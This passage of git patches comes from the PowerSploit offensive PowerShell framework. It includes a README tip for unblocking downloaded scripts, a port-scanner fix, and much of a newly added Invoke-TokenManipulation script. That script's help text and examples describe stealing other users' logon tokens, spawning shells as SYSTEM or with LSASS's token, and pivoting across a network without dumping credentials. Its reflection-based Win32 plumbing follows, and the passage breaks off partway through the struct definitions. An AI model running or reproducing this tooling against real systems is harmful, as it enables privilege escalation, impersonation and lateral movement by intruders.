run scripts downloaded from the Internet' warning, once you've placed PowerSploit into your module path, run the following one-liner: `$Env:PSModulePath.Split(';') | % { if ( Test-Path (Join-Path $_ PowerSploit) ) {Get-ChildItem -Recurse | Unblock-File} }` + For help on each individual command, Get-Help is your friend. Note: The tools contained within this module were all designed such that they can be run individually. Including them in a module simply lends itself to increased portability. From a40e79da934ead46cdc648d8bd3a23b8a7e5ee02 Mon Sep 17 00:00:00 2001 From: mattifestation Date: Sat, 5 Oct 2013 08:39:25 -0400 Subject: [PATCH 029/382] Updated usage tip --- README.md | 5 ++++- 1 file changed, 4 insertions(+), 1 deletion(-) diff --git a/README.md b/README.md index 93d2d0fa..4fa1064b 100644 --- a/README.md +++ b/README.md @@ -209,7 +209,10 @@ To use the module, type `Import-Module PowerSploit` To see the commands imported, type `Get-Command -Module PowerSploit` -If you're running PowerShell v3 and you want to remove the annoying 'Do you really want to run scripts downloaded from the Internet' warning, once you've placed PowerSploit into your module path, run the following one-liner: `$Env:PSModulePath.Split(';') | % { if ( Test-Path (Join-Path $_ PowerSploit) ) {Get-ChildItem -Recurse | Unblock-File} }` +If you're running PowerShell v3 and you want to remove the annoying 'Do you really want to run scripts downloaded from the Internet' warning, once you've placed PowerSploit into your module path, run the following one-liner: +`$Env:PSModulePath.Split(';') | + % { if ( Test-Path (Join-Path $_ PowerSploit) ) + {Get-ChildItem -Recurse | Unblock-File} }` For help on each individual command, Get-Help is your friend. From c4cd73a9cf40a4b1ba11654e78814b372033241f Mon Sep 17 00:00:00 2001 From: webstersprodigy Date: Tue, 22 Oct 2013 21:04:24 -0700 Subject: [PATCH 030/382] Fix for hostfiles option in powershell 2 --- Recon/Invoke-Portscan.ps1 | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/Recon/Invoke-Portscan.ps1 b/Recon/Invoke-Portscan.ps1 index 46a5337a..ab03734e 100644 --- a/Recon/Invoke-Portscan.ps1 +++ b/Recon/Invoke-Portscan.ps1 @@ -647,14 +647,14 @@ http://webstersprodigy.net [Environment]::CurrentDirectory=(Get-Location -PSProvider FileSystem).ProviderPath - if ($Hosts) + if ($PsCmdlet.ParameterSetName -eq "cmdHosts") { foreach($h in $Hosts) { Parse-Hosts($h) | Out-Null } } - elseif ($HostFile) + else { Parse-ILHosts($HostFile) | Out-Null } From 7a6e8a0f208d19d2be19265f90b6e503b74143fa Mon Sep 17 00:00:00 2001 From: clymb3r Date: Sun, 3 Nov 2013 22:54:36 -0800 Subject: [PATCH 031/382] Adding Invoke-TokenManipulation --- Exfiltration/Exfiltration.psd1 | 2 +- Exfiltration/Invoke-TokenManipulation.ps1 | 1773 +++++++++++++++++++++ 2 files changed, 1774 insertions(+), 1 deletion(-) create mode 100644 Exfiltration/Invoke-TokenManipulation.ps1 diff --git a/Exfiltration/Exfiltration.psd1 b/Exfiltration/Exfiltration.psd1 index 382b2e39..5268eb25 100644 --- a/Exfiltration/Exfiltration.psd1 +++ b/Exfiltration/Exfiltration.psd1 @@ -75,7 +75,7 @@ ModuleList = @(@{ModuleName = 'Exfiltration'; ModuleVersion = '1.0.0.0'; GUID = # List of all files packaged with this module FileList = 'Exfiltration.psm1', 'Exfiltration.psd1', 'Get-TimedScreenshot.ps1', 'Out-Minidump.ps1', 'Get-Keystrokes.ps1', 'Get-GPPPassword.ps1', 'Usage.md', 'Invoke-Mimikatz.ps1', - 'Invoke-NinjaCopy.ps1' + 'Invoke-NinjaCopy.ps1', 'Invoke-TokenManipulation.ps1' # Private data to pass to the module specified in RootModule/ModuleToProcess # PrivateData = '' diff --git a/Exfiltration/Invoke-TokenManipulation.ps1 b/Exfiltration/Invoke-TokenManipulation.ps1 new file mode 100644 index 00000000..affbc206 --- /dev/null +++ b/Exfiltration/Invoke-TokenManipulation.ps1 @@ -0,0 +1,1773 @@ +function Invoke-TokenManipulation +{ +<# +.SYNOPSIS + +This script requires Administrator privileges. It can enumerate the Logon Tokens available and use them to create new processes. This allows you to use +anothers users credentials over the network by creating a process with their logon token. This will work even with Windows 8.1 LSASS protections. +This functionality is very similar to the incognito tool (with some differences, and different use goals). + +This script can also make the PowerShell thread impersonate another users Logon Token. Unfortunately this doesn't work well, because PowerShell +creates new threads to do things, and those threads will use the Primary token of the PowerShell process (your original token) and not the token +that one thread is impersonating. Because of this, you cannot use thread impersonation to impersonate a user and then use PowerShell remoting to connect +to another server as that user (it will authenticate using the primary token of the process, which is your original logon token). + +Because of this limitation, the recommended way to use this script is to use CreateProcess to create a new PowerShell process with another users Logon +Token, and then use this process to pivot. This works because the entire process is created using the other users Logon Token, so it will use their +credentials for the authentication. + +IMPORTANT: If you are creating a process, by default this script will modify the ACL of the current users desktop to allow full control to "Everyone". +This is done so that the UI of the process is shown. If you do not need the UI, use the -NoUI flag to prevent the ACL from being modified. This ACL +is not permenant, as in, when the current logs off the ACL is cleared. It is still preferrable to not modify things unless they need to be modified though, +so I created the NoUI flag. ALSO: When creating a process, the script will request SeSecurityPrivilege so it can enumerate and modify the ACL of the desktop. +This could show up in logs depending on the level of monitoring. + + +Important differences from incognito: +First of all, you should probably read the incognito white paper to understand what incognito does. If you use incognito, you'll notice it differentiates +between "Impersonation" and "Delegation" tokens. This is because incognito can be used in situations where you get remote code execution against a service +which has threads impersonating multiple users. Incognito can enumerate all tokens available to the service process, and impersonate them (which might allow +you to elevate privileges). This script must be run as administrator, and because you are already an administrator, the primary use of this script is for pivoting +without dumping credentials. + +In this situation, Impersonation vs Delegation does not matter because an administrator can turn any token in to a primary token (delegation rights). What does +matter is the logon type used to create the logon token. If a user connects using Network Logon (aka type 3 logon), the computer will not have any credentials for +the user. Since the computer has no credentials associated with the token, it will not be possible to authenticate off-box with the token. All other logon types +should have credentials associated with them (such as Interactive logon, Service logon, Remote interactive logon, etc). Therefore, this script looks +for tokens which were created with desirable logon tokens (and only displays them by default). + +In a nutshell, instead of worrying about "delegation vs impersonation" tokens, you should worry about NetworkLogon (bad) vs Non-NetworkLogon (good). + + +PowerSploit Function: Invoke-TokenManipulation +Author: Joe Bialek, Twitter: @JosephBialek +License: BSD 3-Clause +Required Dependencies: None +Optional Dependencies: None +Version: 1.0 + +.DESCRIPTION + +Lists available logon tokens. Creates processes with other users logon tokens, and impersonates logon tokens in the current thread. + +.PARAMETER Enumerate + +Switch. Specifics to enumerate logon tokens available. By default this will only list unqiue usable tokens (not network-logon tokens). + +.PARAMETER RevToSelf + +Switch. Stops impersonating an alternate users Token. + +.PARAMETER ShowAll + +Switch. Enumerate all Logon Tokens (including non-unique tokens and NetworkLogon tokens). + +.PARAMETER ImpersonateUser + +Switch. Will impersonate an alternate users logon token in the PowerShell thread. Can specify the token to use by Username, ProcessId, or ThreadId. + This mode is not recommended because PowerShell is heavily threaded and many actions won't be done in the current thread. Use CreateProcess instead. + +.PARAMETER CreateProcess + +Specify a process to create with an alternate users logon token. Can specify the token to use by Username, ProcessId, or ThreadId. + +.PARAMETER WhoAmI + +Switch. Displays the credentials the PowerShell thread is running under. + +.PARAMETER Username + +Specify the Token to use by username. This will choose a non-NetworkLogon token belonging to the user. + +.PARAMETER ProcessId + +Specify the Token to use by ProcessId. This will use the primary token of the process specified. + +.PARAMETER Process + +Specify the token to use by process object (will use the processId under the covers). This will impersonate the primary token of the process. + +.PARAMETER ThreadId + +Specify the Token to use by ThreadId. This will use the token of the thread specified. + +.PARAMETER ProcessArgs + +Specify the arguments to start the specified process with when using the -CreateProcess mode. + +.PARAMETER NoUI + +If you are creating a process which doesn't need a UI to be rendered, use this flag. This will prevent the script from modifying the Desktop ACL's of the +current user. If this flag isn't set and -CreateProcess is used, this script will modify the ACL's of the current users desktop to allow full control +to "Everyone". + + +.EXAMPLE + +Invoke-TokenManipulation -Enumerate + +Lists all unique usable tokens on the computer. + +.EXAMPLE + +Invoke-TokenManipulation -CreateProcess "cmd.exe" -Username "nt authority\system" + +Spawns cmd.exe as SYSTEM. + +.EXAMPLE + +Invoke-TokenManipulation -ImpersonateUser -Username "nt authority\system" + +Makes the current PowerShell thread impersonate SYSTEM. + +.EXAMPLE + +Invoke-TokenManipulation -CreateProcess "cmd.exe" -ProcessId 500 + +Spawns cmd.exe using the primary token belonging to process ID 500. + +.EXAMPLE + +Invoke-TokenManipulation -ShowAll + +Lists all tokens available on the computer, including non-unique tokens and tokens created using NetworkLogon. + +.EXAMPLE + +Invoke-TokenManipulation -CreateProcess "cmd.exe" -ThreadId 500 + +Spawns cmd.exe using the token belonging to thread ID 500. + +.EXAMPLE + +Get-Process lsass | Token-TokenManipulation -CreateProcess "cmd.exe" + +Spawns cmd.exe using the primary token of LSASS.exe. This pipes the output of Get-Process to the "-Process" parameter of the script. + +.EXAMPLE + +Get-Process lsass | Token-TokenManipulation -ImpersonateUser + +Makes the current thread impersonate the lsass security token. + +.NOTES +This script was inspired by incognito. + +Several of the functions used in this script were written by Matt Graeber(Twitter: @mattifestation, Blog: http://www.exploit-monday.com/). +BIG THANKS to Matt Graeber for helping debug. + +.LINK + +Blog: http://clymb3r.wordpress.com/ +Github repo: https://github.com/clymb3r/PowerShell +Blog on this script: http://clymb3r.wordpress.com/2013/11/03/powershell-and-token-impersonation/ + +#> + + [CmdletBinding(DefaultParameterSetName="Enumerate")] + Param( + [Parameter(ParameterSetName = "Enumerate")] + [Switch] + $Enumerate, + + [Parameter(ParameterSetName = "RevToSelf")] + [Switch] + $RevToSelf, + + [Parameter(ParameterSetName = "ShowAll")] + [Switch] + $ShowAll, + + [Parameter(ParameterSetName = "ImpersonateUser")] + [Switch] + $ImpersonateUser, + + [Parameter(ParameterSetName = "CreateProcess")] + [String] + $CreateProcess, + + [Parameter(ParameterSetName = "WhoAmI")] + [Switch] + $WhoAmI, + + [Parameter(ParameterSetName = "ImpersonateUser")] + [Parameter(ParameterSetName = "CreateProcess")] + [String] + $Username, + + [Parameter(ParameterSetName = "ImpersonateUser")] + [Parameter(ParameterSetName = "CreateProcess")] + [Int] + $ProcessId, + + [Parameter(ParameterSetName = "ImpersonateUser", ValueFromPipeline=$true)] + [Parameter(ParameterSetName = "CreateProcess", ValueFromPipeline=$true)] + [System.Diagnostics.Process] + $Process, + + [Parameter(ParameterSetName = "ImpersonateUser")] + [Parameter(ParameterSetName = "CreateProcess")] + $ThreadId, + + [Parameter(ParameterSetName = "CreateProcess")] + [String] + $ProcessArgs, + + [Parameter(ParameterSetName = "CreateProcess")] + [Switch] + $NoUI + ) + + Set-StrictMode -Version 2 + + #Function written by Matt Graeber, Twitter: @mattifestation, Blog: http://www.exploit-monday.com/ + Function Get-DelegateType + { + Param + ( + [OutputType([Type])] + + [Parameter( Position = 0)] + [Type[]] + $Parameters = (New-Object Type[](0)), + + [Parameter( Position = 1 )] + [Type] + $ReturnType = [Void] + ) + + $Domain = [AppDomain]::CurrentDomain + $DynAssembly = New-Object System.Reflection.AssemblyName('ReflectedDelegate') + $AssemblyBuilder = $Domain.DefineDynamicAssembly($DynAssembly, [System.Reflection.Emit.AssemblyBuilderAccess]::Run) + $ModuleBuilder = $AssemblyBuilder.DefineDynamicModule('InMemoryModule', $false) + $TypeBuilder = $ModuleBuilder.DefineType('MyDelegateType', 'Class, Public, Sealed, AnsiClass, AutoClass', [System.MulticastDelegate]) + $ConstructorBuilder = $TypeBuilder.DefineConstructor('RTSpecialName, HideBySig, Public', [System.Reflection.CallingConventions]::Standard, $Parameters) + $ConstructorBuilder.SetImplementationFlags('Runtime, Managed') + $MethodBuilder = $TypeBuilder.DefineMethod('Invoke', 'Public, HideBySig, NewSlot, Virtual', $ReturnType, $Parameters) + $MethodBuilder.SetImplementationFlags('Runtime, Managed') + + Write-Output $TypeBuilder.CreateType() + } + + + #Function written by Matt Graeber, Twitter: @mattifestation, Blog: http://www.exploit-monday.com/ + Function Get-ProcAddress + { + Param + ( + [OutputType([IntPtr])] + + [Parameter( Position = 0, Mandatory = $True )] + [String] + $Module, + + [Parameter( Position = 1, Mandatory = $True )] + [String] + $Procedure + ) + + # Get a reference to System.dll in the GAC + $SystemAssembly = [AppDomain]::CurrentDomain.GetAssemblies() | + Where-Object { $_.GlobalAssemblyCache -And $_.Location.Split('\\')[-1].Equals('System.dll') } + $UnsafeNativeMethods = $SystemAssembly.GetType('Microsoft.Win32.UnsafeNativeMethods') + # Get a reference to the GetModuleHandle and GetProcAddress methods + $GetModuleHandle = $UnsafeNativeMethods.GetMethod('GetModuleHandle') + $GetProcAddress = $UnsafeNativeMethods.GetMethod('GetProcAddress') + # Get a handle to the module specified + $Kern32Handle = $GetModuleHandle.Invoke($null, @($Module)) + $tmpPtr = New-Object IntPtr + $HandleRef = New-Object System.Runtime.InteropServices.HandleRef($tmpPtr, $Kern32Handle) + + # Return the address of the function + Write-Output $GetProcAddress.Invoke($null, @([System.Runtime.InteropServices.HandleRef]$HandleRef, $Procedure)) + } + + ############################### + #Win32Constants + ############################### + $Constants = @{ + ACCESS_SYSTEM_SECURITY = 0x01000000 + READ_CONTROL = 0x00020000 + SYNCHRONIZE = 0x00100000 + STANDARD_RIGHTS_ALL = 0x001F0000 + TOKEN_QUERY = 8 + TOKEN_ADJUST_PRIVILEGES = 0x20 + ERROR_NO_TOKEN = 0x3f0 + SECURITY_DELEGATION = 3 + DACL_SECURITY_INFORMATION = 0x4 + ACCESS_ALLOWED_ACE_TYPE = 0x0 + STANDARD_RIGHTS_REQUIRED = 0x000F0000 + DESKTOP_GENERIC_ALL = 0x000F01FF + WRITE_DAC = 0x00040000 + OBJECT_INHERIT_ACE = 0x1 + GRANT_ACCESS = 0x1 + TRUSTEE_IS_NAME = 0x1 + TRUSTEE_IS_SID = 0x0 + TRUSTEE_IS_USER = 0x1 + TRUSTEE_IS_WELL_KNOWN_GROUP = 0x5 + TRUSTEE_IS_GROUP = 0x2 + PROCESS_QUERY_INFORMATION = 0x400 + TOKEN_ASSIGN_PRIMARY = 0x1 + TOKEN_DUPLICATE = 0x2 + TOKEN_IMPERSONATE = 0x4 + TOKEN_QUERY_SOURCE = 0x10 + STANDARD_RIGHTS_READ = 0x20000 + TokenStatistics = 10 + TOKEN_ALL_ACCESS = 0xf01ff + MAXIMUM_ALLOWED = 0x02000000 + THREAD_ALL_ACCESS = 0x1f03ff + ERROR_INVALID_PARAMETER = 0x57 + LOGON_NETCREDENTIALS_ONLY = 0x2 + SE_PRIVILEGE_ENABLED = 0x2 + SE_PRIVILEGE_ENABLED_BY_DEFAULT = 0x1 + SE_PRIVILEGE_REMOVED = 0x4 + } + + $Win32Constants = New-Object PSObject -Property $Constants + ############################### + + + ############################### + #Win32Structures + ############################### + #Define all the structures/enums that will be used + # This article shows you how to do this with reflection: http://www.exploit-monday.com/2012/07/structs-and-enums-using-reflection.html + $Domain = [AppDomain]::CurrentDomain + $DynamicAssembly = New-Object System.Reflection.AssemblyName('DynamicAssembly') + $AssemblyBuilder = $Domain.DefineDynamicAssembly($DynamicAssembly, [System.Reflection.Emit.AssemblyBuilderAccess]::Run) + $ModuleBuilder = $AssemblyBuilder.DefineDynamicModule('DynamicModule', $false) + $ConstructorInfo = [System.Runtime.InteropServices.MarshalAsAttribute].GetConstructors()[0] + + #ENUMs + $TypeBuilder = $ModuleBuilder.DefineEnum('TOKEN_INFORMATION_CLASS', 'Public', [UInt32]) + $TypeBuilder.DefineLiteral('TokenUser', [UInt32] 1) | Out-Null + $TypeBuilder.DefineLiteral('TokenGroups', [UInt32] 2) | Out-Null + $TypeBuilder.DefineLiteral('TokenPrivileges', [UInt32] 3) | Out-Null + $TypeBuilder.DefineLiteral('TokenOwner', [UInt32] 4) | Out-Null + $TypeBuilder.DefineLiteral('TokenPrimaryGroup', [UInt32] 5) | Out-Null + $TypeBuilder.DefineLiteral('TokenDefaultDacl', [UInt32] 6) | Out-Null + $TypeBuilder.DefineLiteral('TokenSource', [UInt32] 7) | Out-Null + $TypeBuilder.DefineLiteral('TokenType', [UInt32] 8) | Out-Null + $TypeBuilder.DefineLiteral('TokenImpersonationLevel', [UInt32] 9) | Out-Null + $TypeBuilder.DefineLiteral('TokenStatistics', [UInt32] 10) | Out-Null + $TypeBuilder.DefineLiteral('TokenRestrictedSids', [UInt32] 11) | Out-Null + $TypeBuilder.DefineLiteral('TokenSessionId', [UInt32] 12) | Out-Null + $TypeBuilder.DefineLiteral('TokenGroupsAndPrivileges', [UInt32] 13) | Out-Null + $TypeBuilder.DefineLiteral('TokenSessionReference', [UInt32] 14) | Out-Null + $TypeBuilder.DefineLiteral('TokenSandBoxInert', [UInt32] 15) | Out-Null + $TypeBuilder.DefineLiteral('TokenAuditPolicy', [UInt32] 16) | Out-Null + $TypeBuilder.DefineLiteral('TokenOrigin', [UInt32] 17) | Out-Null + $TypeBuilder.DefineLiteral('TokenElevationType', [UInt32] 18) | Out-Null + $TypeBuilder.DefineLiteral('TokenLinkedToken', [UInt32] 19) | Out-Null + $TypeBuilder.DefineLiteral('TokenElevation', [UInt32] 20) | Out-Null + $TypeBuilder.DefineLiteral('TokenHasRestrictions', [UInt32] 21) | Out-Null + $TypeBuilder.DefineLiteral('TokenAccessInformation', [UInt32] 22) | Out-Null + $TypeBuilder.DefineLiteral('TokenVirtualizationAllowed', [UInt32] 23) | Out-Null + $TypeBuilder.DefineLiteral('TokenVirtualizationEnabled', [UInt32] 24) | Out-Null + $TypeBuilder.DefineLiteral('TokenIntegrityLevel', [UInt32] 25) | Out-Null + $TypeBuilder.DefineLiteral('TokenUIAccess', [UInt32] 26) | Out-Null + $TypeBuilder.DefineLiteral('TokenMandatoryPolicy', [UInt32] 27) | Out-Null + $TypeBuilder.DefineLiteral('TokenLogonSid', [UInt32] 28) | Out-Null + $TypeBuilder.DefineLiteral('TokenIsAppContainer', [UInt32] 29) | Out-Null + $TypeBuilder.DefineLiteral('TokenCapabilities', [UInt32] 30) | Out-Null + $TypeBuilder.DefineLiteral('TokenAppContainerSid', [UInt32] 31) | Out-Null + $TypeBuilder.DefineLiteral('TokenAppContainerNumber', [UInt32] 32) | Out-Null + $TypeBuilder.DefineLiteral('TokenUserClaimAttributes', [UInt32] 33) | Out-Null + $TypeBuilder.DefineLiteral('TokenDeviceClaimAttributes', [UInt32] 34) | Out-Null + $TypeBuilder.DefineLiteral('TokenRestrictedUserClaimAttributes', [UInt32] 35) | Out-Null + $TypeBuilder.DefineLiteral('TokenRestrictedDeviceClaimAttributes', [UInt32] 36) | Out-Null + $TypeBuilder.DefineLiteral('TokenDeviceGroups', [UInt32] 37) | Out-Null + $TypeBuilder.DefineLiteral('TokenRestrictedDeviceGroups', [UInt32] 38) | Out-Null + $TypeBuilder.DefineLiteral('TokenSecurityAttributes', [UInt32] 39) | Out-Null + $TypeBuilder.DefineLiteral('TokenIsRestricted', [UInt32] 40) | Out-Null + $TypeBuilder.DefineLiteral('MaxTokenInfoClass', [UInt32] 41) | Out-Null + $TOKEN_INFORMATION_CLASS = $TypeBuilder.CreateType() + + #STRUCTs + $Attributes = 'AutoLayout, AnsiClass, Class, Public, SequentialLayout, Sealed, BeforeFieldInit' + $TypeBuilder = $ModuleBuilder.DefineType('LARGE_INTEGER', $Attributes, [System.ValueType], 8) + $TypeBuilder.DefineField('LowPart', [UInt32], 'Public') | Out-Null + $TypeBuilder.DefineField('HighPart', [UInt32], 'Public') | Out-Null + $LARGE_INTEGER = $TypeBuilder.CreateType() + + #Struct LUID + $Attributes = 'AutoLayout, AnsiClass, Class, Public, SequentialLayout, Sealed, BeforeFieldInit' + $TypeBuilder = $ModuleBuilder.DefineType('LUID', $Attributes, [System.ValueType], 8) + $TypeBuilder.DefineField('LowPart', [UInt32], 'Public') | Out-Null + $TypeBuilder.DefineField('HighPart', [Int32], 'Public') | Out-Null + $LUID = $TypeBuilder.CreateType() + + #Struct TOKEN_STATISTICS + $Attributes = 'AutoLayout, AnsiClass, Class, Public, SequentialLayout, Sealed, BeforeFieldInit' + $TypeBuilder = $ModuleBuilder.DefineType('TOKEN_STATISTICS', $Attributes, [System.ValueType]) + $TypeBuilder.DefineField('TokenId', $LUID, 'Public') | Out-Null + $TypeBuilder.DefineField('AuthenticationId', $LUID, 'Public') | Out-Null + $TypeBuilder.DefineField('ExpirationTime', $LARGE_INTEGER, 'Public') | Out-Null + $TypeBuilder.DefineField('TokenType', [UInt32], 'Public') | Out-Null + $TypeBuilder.DefineField('ImpersonationLevel', [UInt32], 'Public') | Out-Null + $TypeBuilder.DefineField('DynamicCharged', [UInt32], 'Public') | Out-Null + $TypeBuilder.DefineField('DynamicAvailable', [UInt32], 'Public') | Out-Null + $TypeBuilder.DefineField('GroupCount', [UInt32], 'Public') | Out-Null + $TypeBuilder.DefineField('PrivilegeCount', [UInt32], 'Public') | Out-Null + $TypeBuilder.DefineField('ModifiedId', $LUID, 'Public') | Out-Null + $TOKEN_STATISTICS = $TypeBuilder.CreateType() + + #Struct LSA_UNICODE_STRING + $Attributes = 'AutoLayout, AnsiClass, Class, Public, SequentialLayout, Sealed, BeforeFieldInit' + $TypeBuilder = $ModuleBuilder.DefineType('LSA_UNICODE_STRING', $Attributes, [System.ValueType]) + $TypeBuilder.DefineField('Length', [UInt16], 'Public') | Out-Null + $TypeBuilder.DefineField('MaximumLength', [UInt16], 'Public') | Out-Null + $TypeBuilder.DefineField('Buffer', [IntPtr], 'Public') | Out-Null + $LSA_UNICODE_STRING = $TypeBuilder.CreateType() + + #Struct LSA_LAST_INTER_LOGON_INFO + $Attributes = 'AutoLayout, AnsiClass, Class, Public, SequentialLayout, Sealed, BeforeFieldInit' + $TypeBuilder = $ModuleBuilder.DefineType('LSA_LAST_INTER_LOGON_INFO', $Attributes, [System.ValueType]) + $TypeBuilder.DefineField('LastSuccessfulLogon', $LARGE_INTEGER, 'Public') | Out-Null + $TypeBuilder.DefineField('LastFailedLogon', $LARGE_INTEGER, 'Public') | Out-Null + $TypeBuilder.DefineField('FailedAttemptCountSinceLastSuccessfulLogon', [UInt32], 'Public') | Out-Null + $LSA_LAST_INTER_LOGON_INFO = $TypeBuilder.CreateType() + + #Struct SECURITY_LOGON_SESSION_DATA + $Attributes = 'AutoLayout, AnsiClass, Class, Public, SequentialLayout, Sealed, BeforeFieldInit' + $TypeBuilder = $ModuleBuilder.DefineType('SECURITY_LOGON_SESSION_DATA', $Attributes, [System.ValueType]) + $TypeBuilder.DefineField('Size', [UInt32], 'Public') | Out-Null + $TypeBuilder.DefineField('LoginID', $LUID, 'Public') | Out-Null + $TypeBuilder.DefineField('Username', $LSA_UNICODE_STRING, 'Public') | Out-Null + $TypeBuilder.DefineField('LoginDomain', $LSA_UNICODE_STRING, 'Public') | Out-Null + $TypeBuilder.DefineField('AuthenticationPackage', $LSA_UNICODE_STRING, 'Public') | Out-Null + $TypeBuilder.DefineField('LogonType', [UInt32], 'Public') | Out-Null + $TypeBuilder.DefineField('Session', [UInt32], 'Public') | Out-Null + $TypeBuilder.DefineField('Sid', [IntPtr], 'Public') | Out-Null + $TypeBuilder.DefineField('LoginTime', $LARGE_INTEGER, 'Public') | Out-Null + $TypeBuilder.DefineField('LoginServer', $LSA_UNICODE_STRING, 'Public') | Out-Null + $TypeBuilder.DefineField('DnsDomainName', $LSA_UNICODE_STRING, 'Public') | Out-Null + $TypeBuilder.DefineField('Upn', $LSA_UNICODE_STRING, 'Public') | Out-Null + $TypeBuilder.DefineField('UserFlags', [UInt32], 'Public') | Out-Null + $TypeBuilder.DefineField('LastLogonInfo', $LSA_LAST_INTER_LOGON_INFO, 'Public') | Out-Null + $TypeBuilder.DefineField('LogonScript', $LSA_UNICODE_STRING, 'Public') | Out-Null + $TypeBuilder.DefineField('ProfilePath', $LSA_UNICODE_STRING, 'Public') | Out-Null + $TypeBuilder.DefineField('HomeDirectory', $LSA_UNICODE_STRING, 'Public') | Out-Null + $TypeBuilder.DefineField('HomeDirectoryDrive', $LSA_UNICODE_STRING, 'Public') | Out-Null + $TypeBuilder.DefineField('LogoffTime', $LARGE_INTEGER, 'Public') | Out-Null + $TypeBuilder.DefineField('KickOffTime', $LARGE_INTEGER, 'Public') | Out-Null + $TypeBuilder.DefineField('PasswordLastSet', $LARGE_INTEGER, 'Public') | Out-Null + $TypeBuilder.DefineField('PasswordCanChange', $LARGE_INTEGER, 'Public') | Out-Null + $TypeBuilder.DefineField('PasswordMustChange', $LARGE_INTEGER, 'Public') | Out-Null + $SECURITY_LOGON_SESSION_DATA = $TypeBuilder.CreateType() + + #Struct STARTUPINFO + $Attributes = 'AutoLayout, AnsiClass, Class, Public, SequentialLayout, Sealed, BeforeFieldInit' + $TypeBuilder = $ModuleBuilder.DefineType('STARTUPINFO', $Attributes, [System.ValueType]) + $TypeBuilder.DefineField('cb', [UInt32], 'Public') | Out-Null + $TypeBuilder.DefineField('lpReserved', [IntPtr], 'Public') | Out-Null + $TypeBuilder.DefineField('lpDesktop', [IntPtr], 'Public') | Out-Null + $TypeBuilder.DefineField('lpTitle', [IntPtr], 'Public') | Out-Null + $TypeBuilder.DefineField('dwX', [UInt32], 'Public') | Out-Null + $TypeBuilder.DefineField('dwY', [UInt32], 'Public') | Out-Null + $TypeBuilder.DefineField('dwXSize', [UInt32], 'Public') | Out-Null + $TypeBuilder.DefineField('dwYSize', [UInt32], 'Public') | Out-Null + $TypeBuilder.DefineField('dwXCountChars', [UInt32], 'Public') | Out-Null + $TypeBuilder.DefineField('dwYCountChars', [UInt32], 'Public') | Out-Null + $TypeBuilder.DefineField('dwFillAttribute', [UInt32], 'Public') | Out-Null + $TypeBuilder.DefineField('dwFlags', [UInt32], 'Public') | Out-Null + $TypeBuilder.DefineField('wShowWindow', [UInt16], 'Public') | Out-Null + $TypeBuilder.DefineField('cbReserved2', [UInt16], 'Public') | Out-Null + $TypeBuilder.DefineField('lpReserved2', [IntPtr], 'Public') | Out-Null + $TypeBuilder.DefineField('hStdInput', [IntPtr], 'Public') | Out-Null + $TypeBuilder.DefineField('hStdOutput', [IntPtr], 'Public') | Out-Null + $TypeBuilder.DefineField('hStdError', [IntPtr], 'Public') | Out-Null + $STARTUPINFO = $TypeBuilder.CreateType() + + #Struct PROCESS_INFORMATION + $Attributes = 'AutoLayout, AnsiClass, Class, Public, SequentialLayout, Sealed, BeforeFieldInit' + $TypeBuilder = $ModuleBuilder.DefineType('PROCESS_INFORMATION', $Attributes, [System.ValueType]) + $TypeBuilder.DefineField('hProcess', [IntPtr], 'Public') | Out-Null + $TypeBuilder.DefineField('hThread', [IntPtr], 'Public') | Out-Null + $TypeBuilder.DefineField('dwProcessId', [UInt32], 'Public') | Out-Null + $TypeBuilder.DefineField('dwThreadId', [UInt32], 'Public') | Out-Null + $PROCESS_INFORMATION = $TypeBuilder.CreateType() + + #Struct TOKEN_ELEVATION + $Attributes = 'AutoLayout, AnsiClass, Class, Public, SequentialLayout, Sealed, BeforeFieldInit' + $TypeBuilder = $ModuleBuilder.DefineType('TOKEN_ELEVATION', $Attributes, [System.ValueType]) + $TypeBuilder.DefineField('TokenIsElevated', [UInt32], 'Public') | Out-Null + $TOKEN_ELEVATION = $TypeBuilder.CreateType() + + #Struct LUID_AND_ATTRIBUTES + $Attributes = 'AutoLayout, AnsiClass, Class, Public, SequentialLayout, Sealed, BeforeFieldInit' + $TypeBuilder = $ModuleBuilder.DefineType('LUID_AND_ATTRIBUTES', $Attributes, [System.ValueType], 12) + $TypeBuilder.DefineField('Luid', $LUID, 'Public') | Out-Null + $TypeBuilder.DefineField('Attributes', [UInt32], 'Public') | Out-Null + $LUID_AND_ATTRIBUTES = $TypeBuilder.CreateType() + + #Struct TOKEN_PRIVILEGES + $Attributes = 'AutoLayout, AnsiClass, Class, Public, SequentialLayout, Sealed, BeforeFieldInit' + $TypeBuilder = $ModuleBuilder.DefineType('TOKEN_PRIVILEGES', $Attributes, [System.ValueType], 16) + $TypeBuilder.DefineField('PrivilegeCount', [UInt32], 'Public') | Out-Null + $TypeBuilder.DefineField('Privileges', $LUID_AND_ATTRIBUTES, 'Public') | Out-Null + $TOKEN_PRIVILEGES = $TypeBuilder.CreateType() + + #Struct ACE_HEADER + $Attributes = 'AutoLayout, AnsiClass, Class, Public, SequentialLayout, Sealed, BeforeFieldInit' + $TypeBuilder = $ModuleBuilder.DefineType('ACE_HEADER', $Attributes, [System.ValueType]) + $TypeBuilder.DefineField('AceType', [Byte], 'Public') | Out-Null + $TypeBuilder.DefineField('AceFlags', [Byte], 'Public') | Out-Null + $TypeBuilder.DefineField('AceSize', [UInt16], 'Public') | Out-Null + $ACE_HEADER = $TypeBuilder.CreateType() + + #Struct ACL + $Attributes = 'AutoLayout, AnsiClass, Class, Public, SequentialLayout, Sealed, BeforeFieldInit' + $TypeBuilder = $ModuleBuilder.DefineType('ACL', $Attributes, [System.ValueType]) + $TypeBuilder.DefineField('AclRevision', [Byte], 'Public') | Out-Null + $TypeBuilder.DefineField('Sbz1', [Byte], 'Public') | Out-Null + $TypeBuilder.DefineField('AclSize', [UInt16], 'Public') | Out-Null + $TypeBuilder.DefineField('AceCount', [UInt16], 'Public') | Out-Null + $TypeBuilder.DefineField('Sbz2', [UInt16], 'Public') | Out-Null + $ACL = $TypeBuilder.CreateType() + + #Struct ACE_HEADER + $Attributes = 'AutoLayout, AnsiClass, Class, Public, SequentialLayout, Sealed, BeforeFieldInit' + $TypeBuilder = $ModuleBuilder.DefineType('ACCESS_ALLOWED_ACE', $Attributes, [System.ValueType]) + $TypeBuilder.DefineField('Header', $ACE_HEADER, 'Public') | Out-Null + $TypeBuilder.DefineField('Mask', [UInt32], 'Public') | Out-Null + $TypeBuilder.DefineField('SidStart', [UInt32], 'Public') | Out-Null + $ACCESS_ALLOWED_ACE = $TypeBuilder.CreateType() + + #Struct TRUSTEE + $Attributes = 'AutoLayout, AnsiClass, Class, Public, SequentialLayout, Sealed, BeforeFieldInit' 